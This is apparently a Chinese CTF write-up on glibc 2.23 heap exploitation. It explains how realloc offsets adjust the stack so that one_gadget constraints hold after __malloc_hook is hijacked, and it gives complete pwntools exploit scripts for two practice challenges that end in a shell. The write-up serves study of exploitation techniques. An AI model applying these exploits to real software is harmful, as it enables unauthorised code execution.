# 前言
当堆题保护全开的时候。PIE 保护几乎使得 unlink 失效(除非能够计算出程序基址),FULL RELEO 也使得函数 GOT 表不可修改。此时常覆盖各种函数的 hook 为 one_gadget 来 getshell。
我常考虑的顺序是:
free_hook
-> malloc_hook
-> IO_FILE
-> exit_hook
若有沙盒限制,则考虑 setcontext
当 free_hook
不可打时(例如 Fastbin Attack 时 free_hook 前不能构造字节错位),我们往往就会打 malloc_hook
。此篇文章基于将 malloc_hook
覆盖为 one_gadget,且 one_gadget 全失效的情况,如何用 realloc 的小 trick 调整栈,使得 one_gadget 可执行。
# one_gadget 成功条件
以 64 位 libc-2.23.so 为例,各个 one_gadget 生效的条件如下:
如图,0x4526a 的 one_gadget 生效条件为:[rsp+0x30]==NULL。
要使该 one_gadget 生效,只需让 rsp+0x30 位置处数据为 NULL 即可。
# realloc 函数分析
realloc 函数与 malloc,free 等函数执行流程一致,
均为:检查其对应 hook 是否为 NULL,若不为 NULL,则调用相应 hook。
不同的是,realloc 函数相较于 malloc 与 free,多了很多 push 和 sub 操作,我们可以通过这个来达到调整栈的目的。
以 64 位 libc-2.23.so 为例,将 libc-2.23.so 拖进 IDA, 找到 realloc 函数:
因此我们可以用 realloc_addr+offset 的方式来调整栈,offset 可取 0,2,4,6,12,13。依次减少了 push 的次数。push 指令会减小 rsp 的值,减少 push 指令个数相当于抬高栈,有利于满足 rsp+0x30==NULL。
# 利用过程
将 realloc_hook
覆盖为 one_gadget,然后将 malloc_hook
覆盖为 realloc_addr+offset
这样劫持后的实际运行顺序:
1
| malloc -> malloc_hook -> realloc -> realloc_hook -> onegadget
|
# 例题
# roarctf_2019_easy_pwn
# 程序分析
- 保护全开
- edit 函数中:若满足输入长度等于申请堆块大小 + 10,则有一个 off by one 漏洞
- free_hook 可打,可以构造字节错位,但是不知道为什么莫名其妙会报错。
# pwn
很简单的一道题,具体流程:
- off by one 构造 chunk extend
- 在大堆块中构建一个 fake_chunk,free 掉这个 fake_chunk(大小得能落入 unsortedbin),通过 show 大堆块,泄露 libc 基址
- 通过 Fastbin Double Free 和 Arbitrary Alloc 打 malloc_hook
# 关于 offset 的选择
可以调试,不过具体调试起来,并不是少一个 push,就达到 [rsp+0x20]=[rsp+0x28] 的效果,少部分的某些地址可能还是会被写入其他值,因此一个一个试比较快 /doge。
# exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import *
context.log_level = 'debug' r = process('/mnt/hgfs/ubuntu/BUUCTF/roarctf_2019_easy_pwn') elf = ELF('/mnt/hgfs/ubuntu/BUUCTF/roarctf_2019_easy_pwn') libc = ELF('/mnt/hgfs/ubuntu/BUUCTF/libc-2.23-64.so')
def new(size): r.recvuntil(b"choice: ") r.sendline(b'1') r.recvuntil(b"size: ") r.sendline(str(size))
def edit(id,size,content): r.recvuntil(b"choice: ") r.sendline(b'2') r.recvuntil(b"index: ") r.sendline(str(id)) r.recvuntil(b"size: ") r.sendline(str(size)) r.recvuntil(b"content: ") r.sendline(content)
def delete(id): r.recvuntil(b"choice: ") r.sendline(b'3') r.recvuntil(b"index: ") r.sendline(str(id))
def show(id): r.recvuntil(b"choice: ") r.sendline(b'4') r.recvuntil(b"index: ") r.sendline(str(id))
new(0x18) new(0x20) new(0x80)
new(0x10)
edit(0,0x18+10,b'a'*(0x10)+p64(0)+b'\xc1') delete(1) new(0xb0) fake_chunk = p64(0)+p64(0x91)+p64(0)*0x10 edit(1,0xb0,b'a'*0x20+fake_chunk) delete(2) show(1) r.recvuntil(b'a'*0x20) r.recv(0x10) libc.address = u64(r.recv(6).ljust(8,b'\0'))-0x3C4B78
free_hook = libc.symbols["__free_hook"]
new(0x80)
new(0x18) new(0x10) new(0x60) new(0x10) malloc_hook = libc.symbols["__malloc_hook"] realloc = libc.symbols["realloc"] fake_fd1 = malloc_hook - 0x1b - 0x8 fake_fd = free_hook-0xb-0x8 edit(4,0x18+10,b'a'*0x10+p64(0)+b'\x91') delete(5) new(0x80) edit(5,0x20,b'a'*0x10+p64(0)+p64(0x71)) delete(6) edit(5,0x28,b'a'*0x10+p64(0)+p64(0x71)+p64(fake_fd1)) new(0x60)
new(0x60)
one_gadget = libc.address + 0xf02a4 edit(8,0x1b,b'a'*(0xb)+p64(one_gadget)+p64(realloc))
log.success("free_hook:"+hex(free_hook)) log.success("malloc_hook:"+hex(malloc_hook)) log.success("one_gadget:"+hex(one_gadget)) log.success("libc_base: "+hex(libc.address)) new(0x10)
r.interactive()
|
# vn_pwn_simpleHeap
直接放 exp 了,有兴趣的可以去做一做,有一个注意点:
通过 edit 修改堆块内容后,程序会在最后一个字节置’\0’截止符,这会导致 libc 基址泄露失败。
所以我的想法是:
①:off by one 构造 chunk overlapping,free 掉大堆块中的小堆块 (unsortedbin)。
②:free 掉大堆块,再申请回大堆块,用申请堆块时输入内容的功能代替 edit 功能,一直输入到小堆块 fd 指针前一个字节。
③:用 show 功能里的 % s 泄露出 libc 基址。
# exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| from pwn import* context.log_level = 'debug' context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] r = process('/mnt/hgfs/ubuntu/BUUCTF/vn_pwn_simpleHeap')
libc = ELF('/mnt/hgfs/ubuntu/BUUCTF/libc-2.23.so')
def new(size,content): r.recvuntil(b"choice: ") r.sendline(b'1') r.recvuntil(b"size?") r.sendline(str(size)) r.recvuntil(b"content:") r.send(content) r.recvuntil(b"Done!")
def edit(index,content): r.recvuntil(b"choice: ") r.sendline(b'2') r.recvuntil(b"idx?") r.sendline(str(index)) r.recvuntil(b"content:") r.sendline(content) r.recvuntil(b"Done!")
def show(index): r.recvuntil(b"choice: ") r.sendline(b'3') r.recvuntil(b"idx?") r.sendline(str(index))
def delete(index): r.recvuntil(b"choice: ") r.sendline(b'4') r.recvuntil(b"idx?") r.sendline(str(index)) r.recvuntil(b"Done!")
new(0x28,b'a'*0x28) new(0x28,b'b'*0x28) new(0x28,b'c'*0x28) new(0x50,b'd'*0x50) new(0x28,b'\0') new(0x28,b'\0') new(0x28,b'\0') new(0x38,b'\0') new(0x60,b'\0') new(0x10,b'\0') edit(0,b'a'*0x28+b'\x61') delete(1) new(0x50,b'b'*0x28+p64(0x91)) delete(2) delete(1) new(0x50,b'b'*0x30) show(1) r.recvuntil(b'b'*0x30) libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-0x3c4b78 log.success("libc_base:"+hex(libc_base)) one_gadget = libc_base+0x4526a malloc_hook = libc_base+libc.symbols["__malloc_hook"] realloc_hook=libc_base+libc.symbols['__libc_realloc'] edit(4,b'a'*0x28+b'\x61') delete(5) new(0x50,b'\0'*0x28+p64(0x71)) delete(8) delete(6) edit(2,b'a'*0x28+p64(0x71)+p64(malloc_hook-0x1b-0x8)) new(0x60,b'aaaa') new(0x60,b'a'*0xb+p64(one_gadget)+p64(realloc_hook+13)) log.success("malloc_hook:"+hex(malloc_hook)) log.success("one_gadget:"+hex(one_gadget))
r.recvuntil(b"choice: ") r.sendline(b"1") gdb.attach(r,'b malloc') r.sendlineafter(b"size?", b"16") r.interactive()
|